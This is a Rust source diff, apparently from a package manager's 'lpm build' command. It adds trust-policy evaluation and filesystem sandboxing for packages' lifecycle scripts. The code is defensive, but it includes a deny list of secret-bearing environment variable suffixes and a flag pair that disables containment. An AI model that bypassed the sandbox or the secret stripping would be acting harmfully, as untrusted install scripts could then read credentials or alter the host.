terminates the process tree via `TerminateProcess` use crate::output; +use crate::script_policy_config::ScriptPolicy; use lpm_common::LpmError; +use lpm_sandbox::SandboxMode; use lpm_security::script_hash::compute_script_hash; +use lpm_security::triage::StaticTier; use lpm_security::{EXECUTED_INSTALL_PHASES, SecurityPolicy, TrustMatch}; use lpm_store::PackageStore; use owo_colors::OwoColorize; use std::collections::{HashMap, HashSet, VecDeque}; -use std::path::Path; +use std::path::{Path, PathBuf}; use std::time::Duration; /// Default timeout for each lifecycle script execution (5 minutes). @@ -69,6 +72,18 @@ const STRIPPED_ENV_SUFFIXES: &[&str] = &["_SECRET", "_PASSWORD", "_KEY", "_PRIVA // the same source of truth. See Phase 4 status doc §F3 for the rationale. /// Run the `lpm build` command. +/// +/// **Phase 46 P6:** `effective_policy` is the already-resolved +/// [`ScriptPolicy`] from the precedence chain (CLI override → project +/// `package.json > lpm > scriptPolicy` → `~/.lpm/config.toml` → +/// default). Chunk 1 threads the value through the signature and +/// rewrites the blocked-packages pointer for triage mode so users are +/// told to run `lpm approve-builds` rather than edit +/// `trustedDependencies` by hand. Chunk 2 introduces the shared +/// trust helper that promotes green-tier classifications to trusted +/// under [`ScriptPolicy::Triage`]; this signature change ships first +/// so the policy value is in scope at every trust-check site before +/// the promotion logic lands. #[allow(clippy::too_many_arguments)] pub async fn run( project_dir: &Path, @@ -80,9 +95,31 @@ pub async fn run( json_output: bool, unsafe_full_env: bool, deny_all: bool, + // Phase 46 P5 Chunk 2: sandbox flag pair. `no_sandbox` flips + // execution to [`SandboxMode::Disabled`] and is only reachable via + // `--unsafe-full-env --no-sandbox` at the CLI boundary (main.rs + // rejects `--no-sandbox` without the partner flag). `sandbox_log` + // flips to [`SandboxMode::LogOnly`] — strictly diagnostic, never + // a soft-enforcement substitute per Chunk 4 signoff. Both default + // to `false` so every code path that calls `build::run` lands on + // [`SandboxMode::Enforce`] unless the user explicitly opts out. + no_sandbox: bool, + sandbox_log: bool, + // Phase 46 P6 Chunk 1: already-resolved effective script policy. + // The caller (main.rs for `lpm build`, install.rs for autoBuild) + // runs the full precedence chain before calling and hands the + // final value here. Chunk 1 uses this only to pick the blocked- + // packages messaging (triage → `lpm approve-builds`, deny/allow + // → unchanged); Chunk 2 adds tier-based auto-trust for greens + // under [`ScriptPolicy::Triage`]. + effective_policy: ScriptPolicy, ) -> Result<(), LpmError> { - // Check deny-all: --deny-all flag or lpm.scripts.denyAll config - let config_deny_all = read_deny_all_config(project_dir); + // Check deny-all: --deny-all flag or lpm.scripts.denyAll config. + // Phase 46 P1: consolidated into the ScriptPolicyConfig loader so + // the package.json read is a single pass across all four keys + // (scriptPolicy, autoBuild, denyAll, trustedScopes). + let config_deny_all = + crate::script_policy_config::ScriptPolicyConfig::from_package_json(project_dir).deny_all; if deny_all || config_deny_all { if !json_output { output::warn( @@ -124,29 +161,29 @@ pub async fn run( let is_built = pkg_dir.join(BUILD_MARKER).exists(); - // **Phase 32 Phase 4 M5:** strict gate. Compute the script hash - // (same fn `lpm install` uses to populate `build-state.json`) and - // ask the policy whether the binding matches an existing approval. - // The composition with the legacy `is_scope_trusted` gate is OR — - // either gate passing means the script runs. - let script_hash = compute_script_hash(&pkg_dir); - let trust = policy.can_run_scripts_strict( + // **Phase 32 Phase 4 M5 + Phase 46 P6 Chunk 2:** trust decision + // now flows through the shared [`evaluate_trust`] helper so + // `build::run` and `all_scripted_packages_trusted` cannot + // disagree. The helper composes the strict gate (same fn + // `lpm install` uses to populate `build-state.json`) with the + // `is_scope_trusted` scope glob AND the P6 green-tier auto- + // trust path (Chunk 2 consumer — active only under + // [`ScriptPolicy::Triage`]). + let trust_reason = evaluate_trust( + &pkg_dir, &lp.name, &lp.version, lp.integrity.as_deref(), - script_hash.as_deref(), + &scripts, + &policy, + project_dir, + effective_policy, ); - let (is_trusted, drift) = match trust { - TrustMatch::Strict => (true, false), - TrustMatch::LegacyNameOnly => (true, false), - TrustMatch::BindingDrift { .. } => (false, true), - TrustMatch::NotTrusted => (false, false), - }; - let is_trusted = is_trusted || is_scope_trusted(&lp.name, project_dir); + let is_trusted = trust_reason.is_trusted(); // Surface drift to the user — even though the script is skipped, // they need to know WHY so they can re-review with `lpm approve-builds`. - if drift && !json_output { + if trust_reason == TrustReason::BindingDrift && !json_output { output::warn(&format!( "{}: stored approval drifted (script changed since approval). \ Re-run `lpm approve-builds {}` to re-review.", @@ -155,9 +192,10 @@ pub async fn run( } // Surface legacy bare-name entries with a soft deprecation warning, // so users migrate to the strict binding form. Only emit when the - // strict gate would have been the deciding factor (skip when scope - // trust would have approved anyway). - if matches!(trust, TrustMatch::LegacyNameOnly) && !json_output { + // strict gate was the deciding factor (the helper returns + // `LegacyName` only when `TrustMatch::LegacyNameOnly` won AND + // scope did not). + if trust_reason == TrustReason::LegacyName && !json_output { output::warn(&format!( "{}: legacy bare-name trustedDependencies entry — run \ `lpm approve-builds {}` to upgrade to a strict (script-hash-bound) approval", @@ -172,6 +210,7 @@ pub async fn run( scripts, is_built, is_trusted, + trust_reason, }); } @@ -209,15 +248,8 @@ pub async fn run( } } selected - } else if all { - // Build ALL packages with scripts - scriptable_packages.iter().collect() } else { - // Build only trusted packages - scriptable_packages - .iter() - .filter(|p| p.is_trusted) - .collect() + widen_to_build_by_policy(&scriptable_packages, all, effective_policy) }; // Filter out already-built (unless --rebuild) @@ -234,11 +266,63 @@ pub async fn run( if !json_output { let total = scriptable_packages.len(); let built = scriptable_packages.iter().filter(|p| p.is_built).count(); - output::success(&format!( - "All {built}/{total} packages with scripts are already built." - )); - if !rebuild { - println!(" Use {} to rebuild.", "--rebuild".dimmed()); + // Phase 46 P6 Chunk 5 fix: distinguish "all built" from + // "none trusted". The all-built success message was + // firing under deny/triage when every scripted package + // was untrusted, producing "All 0/N packages are + // already built" — a misleading line that blamed + // staleness for a trust-gate outcome, AND buried the + // actionable pointer toward `lpm approve-builds` / + // `trustedDependencies`. The skipped-count warning + // block further down was unreachable in this branch + // because `return Ok(())` fired first. Now the + // skipped-count warning is rendered inline here too, + // gated on the same `!all && specific_packages.is_empty()` + // guard it has below, so the deny and triage UX is + // consistent whether the set is empty-because-built or + // empty-because-untrusted. Surfaced by the Chunk 5 + // subprocess fixture. + // Phase 46 close-out Chunk 2: mirrors the `!= Allow` + // guard on the non-empty-to_build warning site below — + // "will be skipped" is false under allow because the + // widening rule folds all scripted packages in. Under + // the current widening, reaching this branch under + // allow implies `to_build` is empty because all + // scriptable packages are already built (rebuild=false + // filter empties the set); in that case + // `count_untrusted_unbuilt(…, false)` is zero, so the + // guard is defensive. Keeping it aligned with the other + // site prevents a future change to the widening from + // silently re-opening the spurious-warning path. + let untrusted_unbuilt_count_local = + count_untrusted_unbuilt(&scriptable_packages, rebuild); + if untrusted_unbuilt_count_local > 0 + && !all + && specific_packages.is_empty() + && effective_policy != ScriptPolicy::Allow + { + output::warn(&format!( + "{untrusted_unbuilt_count_local} package(s) are not in trustedDependencies and will be skipped." + )); + if effective_policy == ScriptPolicy::Triage { + eprintln!( + " Run {} to review and approve blocked packages.", + "lpm approve-builds".bold(), + ); + } else { + eprintln!( + " Add them to {} or use {}.", + "package.json > lpm > trustedDependencies".dimmed(), + "lpm build --all".bold(), + ); + } + } else { + output::success(&format!( + "All {built}/{total} packages with scripts are already built." + )); + if !rebuild { + eprintln!(" Use {} to rebuild.", "--rebuild".dimmed()); + } } } return Ok(()); @@ -267,8 +351,23 @@ pub async fn run( to_build.len() )); for pkg in &to_build { + // Phase 46 P6 Chunk 2: when a package is trusted via + // the green-tier auto-trust path (no manifest binding, + // no scope match — only the Layer 1 static-gate + // classifier + triage policy) surface that to the + // user. Without this suffix a triage user who sees + // `trusted ✓` next to a package they never added to + // `trustedDependencies` has no visible explanation; + // the suffix also makes it obvious which packages + // move into the manual-review lane if the user flips + // back to `deny`. let trust = if pkg.is_trusted { - "trusted ✓".green().to_string() + match pkg.trust_reason { + TrustReason::GreenTierUnderTriage => { + "trusted ✓ (green-tier auto-approval)".green().to_string() + } + _ => "trusted ✓".green().to_string(), + } } else { "not trusted".yellow().to_string() }; @@ -286,21 +385,101 @@ pub async fn run( return Ok(()); } - // Warn if building untrusted packages - let untrusted_count = to_build.iter().filter(|p| !p.is_trusted).count(); - if untrusted_count > 0 && !all && specific_packages.is_empty() { + // Warn if scripted packages are being skipped for lack of trust. + // + // Phase 46 P6 Chunk 1: under `script-policy = "triage"` the canonical + // next step for an untrusted blocked package is `lpm approve-builds` + // (which renders the tier, lets the user review diffs, and writes + // strict bindings into `trustedDependencies`). Pointing triage users + // at the raw manifest edit is misleading — that bypasses the tiered + // gate entirely. Under `deny` and `allow` the pre-P6 pointer stays: + // deny expects hand-authored trust entries, and `allow` never reaches + // this branch in practice (every package is trusted). + // + // The count is taken from `scriptable_packages` via the + // [`count_untrusted_unbuilt`] helper, NOT from `to_build`. In the + // default `lpm build` path (no `--all`, no named args) `to_build` + // is already filtered to trusted-only at the selection step + // above, so a `to_build.iter().filter(|p| !p.is_trusted)` count + // is structurally always zero and the warning never reaches the + // user — a pre-P6 dead-code bug that also silently buried the + // "Add to trustedDependencies" hint. Counting from the + // pre-trust-filter set restores the intended UX and is what the + // Chunk 1 messaging swap actually needs to be observable. The + // `!all && specific_packages.is_empty()` guard stays because + // those two branches already run untrusted scripts directly (the + // user has either opted in with `--all` or named packages + // explicitly), so the skipped-packages framing is wrong there. + // + // **Phase 46 P6 Chunk 5 fix:** the whole block is now gated on + // `!json_output`, and the continuation pointer uses `eprintln!` + // (stderr) instead of `println!` (stdout). The pre-P6 code + // used `println!` for the "Add them to trustedDependencies" + // pointer and lacked a `!json_output` guard — a latent bug + // because the block was dead-code (Chunk 1 docs the counter + // issue). With the counter now reaching users, the stdout / + // JSON-mode bleed is real: `--json` consumers parse stdout and + // any human-readable continuation text on stdout breaks + // `JSON.parse`. Surfaced by the Chunk 5 subprocess integration + // fixture which routes stdout through `serde_json::from_str`. + // The adjacent `output::warn` already emits on stderr via + // cliclack; routing the continuation there too keeps the + // two-line UX visually grouped on the same stream. + // Phase 46 close-out Chunk 2: the "will be skipped" warning is + // *about* untrusted packages that fell out of the default-branch + // filter. Under `ScriptPolicy::Allow` the filter doesn't exclude + // them anymore (the widening happens in + // [`widen_to_build_by_policy`]), so calling them "skipped" is a + // lie and the accompanying pointer toward + // `trustedDependencies` / `lpm build --all` is misdirection — + // the allow user explicitly opted OUT of that lane. Suppress + // under Allow. Deny and Triage keep the existing behavior: + // untrusted scripted packages genuinely don't run, and the + // pointer tells the user how to approve. + let untrusted_unbuilt_count = count_untrusted_unbuilt(&scriptable_packages, rebuild); + if !json_output + && untrusted_unbuilt_count > 0 + && !all + && specific_packages.is_empty() + && effective_policy != ScriptPolicy::Allow + { output::warn(&format!( - "{untrusted_count} package(s) are not in trustedDependencies and will be skipped." + "{untrusted_unbuilt_count} package(s) are not in trustedDependencies and will be skipped." )); - println!( - " Add them to {} or use {}.", - "package.json > lpm > trustedDependencies".dimmed(), - "lpm build --all".bold(), - ); + if effective_policy == ScriptPolicy::Triage { + eprintln!( + " Run {} to review and approve blocked packages.", + "lpm approve-builds".bold(), + ); + } else { + eprintln!( + " Add them to {} or use {}.", + "package.json > lpm > trustedDependencies".dimmed(), + "lpm build --all".bold(), + ); + } } if !json_output { output::info(&format!("Building {} package(s)...", to_build.len())); + // Phase 46 P6 Chunk 2: summary line for green-tier auto- + // approvals. Under `script-policy = "triage"`, the shared + // [`evaluate_trust`] helper promotes packages whose lifecycle + // scripts match the Layer 1 static-gate allowlist (P2) even + // without a `trustedDependencies` entry. Most installs won't + // have any; skip the line when the count is zero so quiet + // builds stay quiet. The line is descriptive-only — it does + // NOT change what runs or in which order. + let green_auto_count = to_build + .iter() + .filter(|p| p.trust_reason == TrustReason::GreenTierUnderTriage) + .count(); + if green_auto_count > 0 { + output::info(&format!( + " {green_auto_count} of these were auto-approved by green-tier classification \ + (script-policy = \"triage\"). Run `lpm build --dry-run` to see why." + )); + } } // Execute scripts @@ -316,6 +495,103 @@ pub async fn run( build_sanitized_env() }; + // Phase 46 P5 Chunk 2: resolve the effective sandbox mode and load + // the per-project writable-subpath extensions once before the + // loop. The flag pair was already validated at the CLI boundary — + // `--no-sandbox` never reaches here without `--unsafe-full-env`, + // and `--no-sandbox` + `--sandbox-log` are mutually exclusive — + // so this is pure mode selection. §9.6 + Chunk 2 signoff: + // SandboxMode is computed at the build call site, NOT encoded in + // ScriptPolicyConfig. + let sandbox_mode = if no_sandbox { + SandboxMode::Disabled + } else if sandbox_log { + SandboxMode::LogOnly + } else { + SandboxMode::Enforce + }; + + let extra_write_dirs = + lpm_sandbox::load_sandbox_write_dirs(&project_dir.join("package.json"), project_dir) + .map_err(|e| LpmError::Registry(format!("{e}")))?; + let lpm_root = lpm_common::paths::LpmRoot::from_env() + .map_err(|e| LpmError::Registry(format!("failed to locate LPM root: {e}")))?; + let store_root = lpm_root.store_root(); + let home_dir = dirs::home_dir().ok_or_else(|| { + LpmError::Registry( + "cannot determine $HOME — sandbox needs it for the writable-cache allow list" + .to_string(), + ) + })?; + let tmpdir = std::env::var_os("TMPDIR") + .map(PathBuf::from) + .unwrap_or_else(|| PathBuf::from("/tmp")); + + // Phase 46 P5 Chunk 5: ensure the "standard" writable subpaths + // exist on disk before spawning scripts. Sandbox rules allow + // writes INSIDE `.husky`, `.lpm`, `node_modules`, `~/.cache`, + // `~/.node-gyp`, `~/.npm` but NOT their creation (creating + // `.husky` would need write on `{project}` which we don't + // grant). Without this, a first-time `husky install` would + // fail under Enforce. + let prepare_spec = lpm_sandbox::SandboxSpec { + package_dir: project_dir.to_path_buf(), // placeholder, unused by prepare + project_dir: project_dir.to_path_buf(), + package_name: "__lpm-prepare".to_string(), + package_version: "0.0.0".to_string(), + store_root: store_root.clone(), + home_dir: home_dir.clone(), + tmpdir: tmpdir.clone(), + extra_write_dirs: Vec::new(), + }; + lpm_sandbox::prepare_writable_dirs(&prepare_spec) + .map_err(|e| LpmError::Registry(format!("{e}")))?; + + // Phase 46 P5 Chunk 4: pre-probe the sandbox factory with a + // synthetic spec so unsupported-platform and mode-not-supported + // errors surface BEFORE any banner or package loop starts. + // Without this, a Linux user passing `--sandbox-log` would first + // see the "rule triggers logged but NOT enforced" banner and + // then get ModeNotSupportedOnPlatform — contradictory UX the + // Chunk 4 review flagged. + // + // Disabled is skipped: NoopSandbox is available on every + // platform, so the probe would always succeed and we'd just + // burn an allocation. + if !matches!(sandbox_mode, SandboxMode::Disabled) { + let probe_spec = lpm_sandbox::SandboxSpec { + package_dir: project_dir.to_path_buf(), + project_dir: project_dir.to_path_buf(), + package_name: "__lpm-sandbox-probe".to_string(), + package_version: "0.0.0".to_string(), + store_root: store_root.clone(), + home_dir: home_dir.clone(), + tmpdir: tmpdir.clone(), + extra_write_dirs: Vec::new(), + }; + lpm_sandbox::new_for_platform(probe_spec, sandbox_mode) + .map_err(|e| LpmError::Registry(format!("sandbox unavailable: {e}")))?; + } + + // Banners fire AFTER the probe succeeds. On Linux + LogOnly the + // probe above bailed with ModeNotSupportedOnPlatform, so this + // banner's "logged but NOT enforced" promise never reaches a + // user whose platform can't actually honor it. + if no_sandbox && !json_output { + output::warn( + "--no-sandbox: lifecycle scripts will run WITHOUT filesystem containment. \ + Scripts have full host access.", + ); + } + if sandbox_log && !json_output { + output::warn( + "--sandbox-log: diagnostic mode only. Rule triggers are logged but NOT \ + enforced — do not treat a clean run as a safety signal. View reported \ + accesses via `log show --last 5m --predicate 'senderImagePath CONTAINS \ + \"Sandbox\"'` and grep for the script's pid.", + ); + } + for pkg in &to_build { if !json_output { println!( @@ -337,7 +613,20 @@ pub async fn run( println!(" {} {phase}: {}", "→".dimmed(), cmd.dimmed()); } - match execute_script(cmd, &pkg.store_path, project_dir, &sanitized_env, &timeout) { + match execute_script( + cmd, + &pkg.name, + &pkg.version, + &pkg.store_path, + project_dir, + &sanitized_env, + &timeout, + sandbox_mode, + &extra_write_dirs, + &store_root, + &home_dir, + &tmpdir, + ) { Ok(()) => { if !json_output { println!(" {} {phase} completed", "✓".green()); @@ -389,57 +678,71 @@ pub async fn run( } } -/// Execute a single lifecycle script with timeout and env sanitization. +/// Execute a single lifecycle script with timeout, env sanitization, +/// and filesystem-scoped containment. +/// +/// Phase 46 P5 Chunk 2 threads `sandbox_mode` + per-project +/// `extra_write_dirs` + host-derived `store_root`/`home_dir`/`tmpdir` +/// through here so the backend can synthesize its profile for THIS +/// package on THIS host. +/// +/// **Transitional cfg-fork:** On macOS this dispatches through +/// [`lpm_sandbox::new_for_platform`] and runs the child under +/// `sandbox-exec`. On non-macOS (Linux, Windows, other Unix) it +/// continues on the legacy direct-[`std::process::Command`] path +/// because [`lpm_sandbox`]'s landlock backend (Linux) lands in +/// Chunk 3 and Windows is deferred to Phase 46.1 (D10). Chunk 3 +/// deletes the non-macOS arm; the macOS arm becomes unconditional. +#[allow(clippy::too_many_arguments)] fn execute_script( cmd: &str, + pkg_name: &str, + pkg_version: &str, package_dir: &Path, project_dir: &Path, env: &HashMap, timeout: &Duration, + sandbox_mode: SandboxMode, + extra_write_dirs: &[PathBuf], + store_root: &Path, + home_dir: &Path, + tmpdir: &Path, ) -> Result<(), String> { - use std::process::Command; - - let mut command = Command::new("sh"); - command - .args(["-c", cmd]) - .current_dir(package_dir) - .env_clear(); - - // Set sanitized environment - for (key, value) in env { - command.env(key, value); - } - - // Set npm conventions - command.env("INIT_CWD", project_dir); - command.env( - "PATH", - format!( - "{}:{}", - project_dir.join("node_modules/.bin").display(), - env.get("PATH") - .map(|s| s.as_str()) - .unwrap_or("/usr/bin:/bin") - ), + // Build the environment the same way the legacy path did: start + // from the sanitized set, strip INIT_CWD + PATH if the caller + // pre-set them, then append our own INIT_CWD and PATH-with- + // node_modules/.bin-prepended. + let path_value = format!( + "{}:{}", + project_dir.join("node_modules/.bin").display(), + env.get("PATH") + .map(|s| s.as_str()) + .unwrap_or("/usr/bin:/bin"), ); - - // On Unix, spawn the child in its own process group so we can kill the - // entire tree on timeout (not just the direct child). - #[cfg(unix)] - { - use std::os::unix::process::CommandExt; - command.process_group(0); - } + let mut envs: Vec<(String, String)> = env + .iter() + .filter(|(k, _)| k.as_str() != "PATH" && k.as_str() != "INIT_CWD") + .map(|(k, v)| (k.clone(), v.clone())) + .collect(); + envs.push(("INIT_CWD".to_string(), project_dir.display().to_string())); + envs.push(("PATH".to_string(), path_value)); let start = std::time::Instant::now(); - let child = command - .stdout(std::process::Stdio::inherit()) - .stderr(std::process::Stdio::inherit()) - .spawn() - .map_err(|e| format!("failed to spawn: {e}"))?; + let child = spawn_lifecycle_child( + cmd, + pkg_name, + pkg_version, + package_dir, + project_dir, + &envs, + sandbox_mode, + extra_write_dirs, + store_root, + home_dir, + tmpdir, + )?; - // Wait with timeout let output = wait_with_timeout(child, timeout); match output { @@ -456,6 +759,65 @@ fn execute_script( } } +/// Spawn a lifecycle script through the sandbox backend. +/// +/// Phase 46 P5 Chunk 3 removes the Chunk 2 cfg-fork between macOS +/// (sandboxed) and non-macOS (legacy direct-Command). Every platform +/// now routes through [`lpm_sandbox::new_for_platform`]: macOS uses +/// Seatbelt, Linux uses landlock, Windows + other-unix return +/// [`lpm_sandbox::SandboxError::UnsupportedPlatform`] which bubbles +/// up as a clear "re-run with --unsafe-full-env --no-sandbox" string +/// through the format! below. Old Linux kernels (<5.13) surface +/// [`lpm_sandbox::SandboxError::KernelTooOld`] symmetric with the +/// Windows deferral per the Chunk 1 signoff. +/// +/// The [`SandboxMode::Disabled`] arm inside the factory hands back a +/// [`lpm_sandbox::NoopSandbox`] on every platform, so +/// `--unsafe-full-env --no-sandbox` remains reachable universally +/// (including Windows) as the single escape hatch. +#[allow(clippy::too_many_arguments)] +fn spawn_lifecycle_child( + cmd: &str, + pkg_name: &str, + pkg_version: &str, + package_dir: &Path, + project_dir: &Path, + envs: &[(String, String)], + sandbox_mode: SandboxMode, + extra_write_dirs: &[PathBuf], + store_root: &Path, + home_dir: &Path, + tmpdir: &Path, +) -> Result { + use lpm_sandbox::{SandboxSpec, SandboxStdio, SandboxedCommand, new_for_platform}; + + let spec = SandboxSpec { + package_dir: package_dir.to_path_buf(), + project_dir: project_dir.to_path_buf(), + package_name: pkg_name.to_string(), + package_version: pkg_version.to_string(), + store_root: store_root.to_path_buf(), + home_dir: home_dir.to_path_buf(), + tmpdir: tmpdir.to_path_buf(), + extra_write_dirs: extra_write_dirs.to_vec(), + }; + let sandbox = + new_for_platform(spec, sandbox_mode).map_err(|e| format!("sandbox init failed: {e}"))?; + + let mut sbcmd = SandboxedCommand::new("sh") + .arg("-c") + .arg(cmd) + .current_dir(package_dir) + .envs_cleared(envs.iter().map(|(k, v)| (k.clone(), v.clone()))); + sbcmd.stdout = SandboxStdio::Inherit; + sbcmd.stderr = SandboxStdio::Inherit; + sbcmd.stdin = SandboxStdio::Inherit; + + sandbox + .spawn(sbcmd) + .map_err(|e| format!("failed to spawn: {e}")) +} + /// Kill the entire process group on Unix, or just the child on other platforms. fn kill_process_tree(child: &mut std::process::Child) { #[cfg(unix)] @@ -598,21 +960,266 @@ struct ScriptablePackage { scripts: HashMap, is_built: bool, is_trusted: bool, + /// **Phase 46 P6 Chunk 2:** the specific basis on which + /// `is_trusted` was decided. Preserved so the dry-run output and + /// the pre-loop summary can surface WHY a script was trusted + /// (strict binding vs. scope vs. green-tier auto-approval under + /// triage). `is_trusted` is a direct read of + /// [`TrustReason::is_trusted`] — the field pair is kept because + /// most call sites only care about the boolean and splitting the + /// read avoids threading [`TrustReason`] through downstream code. + trust_reason: TrustReason, } -/// Show the install-time build hint (called from install.rs). +/// Why a scripted package was (or was not) trusted to execute its +/// lifecycle scripts under the current effective [`ScriptPolicy`]. /// -/// Lists packages with unexecuted scripts and their trust status. -pub fn show_install_build_hint( +/// The variants are ordered by evaluation priority inside +/// [`evaluate_trust`]: strict-gate matches win over scope globs, which +/// win over the P6 green-tier auto-trust. Drift is a terminal "no" — +/// a drifted rich binding never auto-recovers via triage even when +/// the current on-disk script would classify green; the user must +/// re-review via `lpm approve-builds`. +#[derive(Debug, Clone, Copy, PartialEq, Eq)] +pub(crate) enum TrustReason { + /// Rich strict binding (Phase 32 Phase 4): `{name, version, + /// integrity, scriptHash}` tuple matches an approved entry. + StrictBinding, + /// Pre-Phase-4 legacy bare-name `trustedDependencies: ["name"]` + /// entry. Matched via `TrustMatch::LegacyNameOnly`. Callers + /// still emit a soft deprecation warning so users migrate to + /// the rich form. + LegacyName, + /// `lpm.scripts.trustedScopes` glob match (e.g., `@myorg/*`). + ScopedGlob, + /// `script-policy = "triage"` + worst-wins classification of + /// the package's lifecycle phases is [`StaticTier::Green`]. This + /// is the P6 auto-trust path — the package carries no manifest + /// binding, but its scripts match the hand-curated Layer 1 + /// allowlist (`node-gyp rebuild`, `tsc`, `prisma generate`, + /// `husky install`, `electron-rebuild`, relative-path `node` + /// calls). Only reachable under [`ScriptPolicy::Triage`]. + GreenTierUnderTriage, + /// Strict binding exists but its stored `scriptHash` no longer + /// matches the on-disk body. Triage does NOT auto-recover this: + /// the user previously approved a specific script and the script + /// changed, so a re-review is required. Matches `build::run`'s + /// pre-P6 semantics exactly. + BindingDrift, + /// No trust basis found. + Untrusted, +} + +impl TrustReason { + /// Single point where the helper's output gets collapsed to the + /// build pipeline's boolean `is_trusted`. Kept on the enum so both + /// call sites (`build::run` and `all_scripted_packages_trusted`) + /// can never drift on which reasons count as trusted. + pub(crate) fn is_trusted(self) -> bool { + matches!( + self, + Self::StrictBinding | Self::LegacyName | Self::ScopedGlob | Self::GreenTierUnderTriage, + ) + } +} + +/// Phase 46 P6 Chunk 2 — shared trust decision. +/// +/// Single source of truth for "is this package trusted to execute +/// lifecycle scripts under the current effective policy?" Consumed by +/// both [`run`] (via its `scriptable_packages` loop) and +/// [`all_scripted_packages_trusted`] (Chunk 3 migration) so the two +/// paths cannot disagree on trust the first time one gets tweaked. +/// +/// Evaluation order — the first matching rule wins: +/// 1. **Strict gate** ([`SecurityPolicy::can_run_scripts_strict`]). +/// A rich binding that matches the full tuple yields +/// [`TrustReason::StrictBinding`]; a legacy bare-name entry yields +/// [`TrustReason::LegacyName`]; a rich binding whose `scriptHash` +/// drifted yields [`TrustReason::BindingDrift`] — terminal, never +/// overridden by later rules. +/// 2. **Scope glob** (`lpm.scripts.trustedScopes`). Glob match yields +/// [`TrustReason::ScopedGlob`]. +/// 3. **Green-tier auto-trust** (NEW in P6). Only when +/// `effective_policy == Triage`: classify every present lifecycle +/// phase via [`lpm_security::static_gate::classify`], reduce +/// worst-wins (same precedence `build_state.rs` uses at install +/// time), and if the result is [`StaticTier::Green`] yield +/// [`TrustReason::GreenTierUnderTriage`]. Amber / AmberLlm / Red +/// flow through to untrusted regardless of policy. +/// +/// The classifier is the authoritative tier source — we do NOT read +/// back from `build-state.json`. That file is an install-time cache +/// and a user-facing artifact; calling `lpm build` standalone (no +/// preceding install) must still yield the same decision. Matches the +/// Chunk 2 signoff answer to ambiguity #4. +/// +/// Drift is never auto-recovered under triage. A drifted rich binding +/// means the user previously approved a different script body; even +/// if the current on-disk script classifies green, the user still +/// needs to re-review the delta via `lpm approve-builds`. This keeps +/// the security floor at "no execution without current reviewer +/// intent" (D20). +#[allow(clippy::too_many_arguments)] +pub(crate) fn evaluate_trust( + package_dir: &Path, + name: &str, + version: &str, + integrity: Option<&str>, + scripts: &HashMap, + policy: &SecurityPolicy, + project_dir: &Path, + effective_policy: ScriptPolicy, +) -> TrustReason { + let script_hash = compute_script_hash(package_dir); + let strict = policy.can_run_scripts_strict(name, version, integrity, script_hash.as_deref()); + match strict { + TrustMatch::Strict => return TrustReason::StrictBinding, + TrustMatch::LegacyNameOnly => return TrustReason::LegacyName, + TrustMatch::BindingDrift { .. } => return TrustReason::BindingDrift, + TrustMatch::NotTrusted => {} + } + + if is_scope_trusted(name, project_dir) { + return TrustReason::ScopedGlob; + } + + if effective_policy == ScriptPolicy::Triage + && classify_package_worst_tier(scripts) == Some(StaticTier::Green) + { + return TrustReason::GreenTierUnderTriage; + } + + TrustReason::Untrusted +} + +/// Worst-wins classification across the lifecycle phases present in +/// `scripts`. Returns `None` when `scripts` is empty (caller has +/// already early-returned in practice, since the trust-decision call +/// sites only run after at least one lifecycle script was found). +/// +/// Mirrors the reduction at `build_state.rs:418-421` exactly so the +/// install-time annotation and the `lpm build` gate agree on tier +/// per-package without sharing cached state. +fn classify_package_worst_tier(scripts: &HashMap) -> Option { + scripts + .values() + .map(|body| lpm_security::static_gate::classify(body)) + .reduce(StaticTier::worse_of) +} + +/// Count scripted packages that would be skipped under the default +/// `lpm build` path because they lack trust. +/// +/// "Skipped" means: has lifecycle scripts, isn't already-built (or +/// `--rebuild` was passed), and isn't trusted by either the strict +/// gate or a `trustedScopes` glob. These are exactly the packages the +/// user needs to resolve before scripts will run under the default +/// command. +/// +/// **Phase 46 P6 Chunk 1:** extracted from the inline warning block +/// so a pure-input regression test can guard the counting contract. +/// The prior inline implementation counted from `to_build` — which in +/// the default path is already filtered to trusted-only — so the +/// count was structurally always zero and the warning (plus the +/// Chunk 1 triage pointer wired through it) never reached users. +/// A purely source-level guard test catches marker-string deletions +/// but cannot catch this class of regression; a pure-function test +/// on a synthetic input set does. +fn count_untrusted_unbuilt(scriptable: &[ScriptablePackage], rebuild: bool) -> usize { + scriptable + .iter() + .filter(|p| rebuild || !p.is_built) + .filter(|p| !p.is_trusted) + .count() +} + +/// Pure selection step for `lpm build`'s default-branch `to_build` set. +/// +/// Extracted for **Phase 46 close-out Chunk 2** so the policy-aware +/// widening rule lives outside `build::run`'s I/O monolith and can +/// be unit-tested in isolation — the complementary caller-side +/// contract to the helper-level +/// [`p6_chunk2_allow_does_not_promote_green_tier_at_helper_level`] +/// guard that pinned [`evaluate_trust`]'s per-package decision under +/// allow. The two tests together cover both sides of the trust +/// split that v2.8 item 6 flagged: `evaluate_trust` deliberately +/// ignores allow (its job is manifest-binding / scope / tier), and +/// this helper honors it. +/// +/// Branching rules (§5.1 + pre-Phase-46 behavior): +/// +/// - `all = true` → widen to every scriptable package regardless of +/// trust or policy. `--all` is the pre-Phase-46 explicit escape +/// hatch and keeps that contract. +/// - `effective_policy == ScriptPolicy::Allow` → widen to every +/// scriptable package regardless of `is_trusted`. Allow runs +/// every lifecycle script without the triage gate (§5.1); the +/// selection step is where that semantic lives. +/// - Else (`Deny` or `Triage` without `--all`) → filter to +/// `is_trusted` only. Under `Triage`, `is_trusted` already +/// reflects the P6 green-tier promotion — so triage widens +/// to greens-plus-strict-plus-scope automatically via the +/// `is_trusted` computation, NOT via this helper. The +/// green-only widening stays gated at [`evaluate_trust`]. +/// +/// Does NOT apply the `rebuild` / already-built filter — that stays +/// at the call site because it composes with both the specific- +/// package path and this default-branch widening; keeping it +/// separate preserves the existing call shape for `specific_packages` +/// (which warns on missing names, a side effect we don't want +/// leaking into this pure function). +fn widen_to_build_by_policy( + scriptable: &[ScriptablePackage], + all: bool, + effective_policy: ScriptPolicy, +) -> Vec<&ScriptablePackage> { + if all || effective_policy == ScriptPolicy::Allow { + scriptable.iter().collect() + } else { + scriptable.iter().filter(|p| p.is_trusted).collect() + } +} + +/// One scriptable-package row for the install-time build hint. +/// +/// Phase 46 P1 extracted this struct from the previous tuple-shaped +/// buffer so the hint's trust decision is independently testable. +/// [`scriptable_package_rows`] is pure over (store state, manifest, +/// project_dir); [`show_install_build_hint`] is the I/O wrapper that +/// prints the same rows. +#[derive(Debug, Clone, PartialEq, Eq)] +pub(crate) struct ScriptableHintRow { + pub name: String, + pub version: String, + pub scripts: HashMap, + pub is_built: bool, + pub is_trusted: bool, +} + +/// 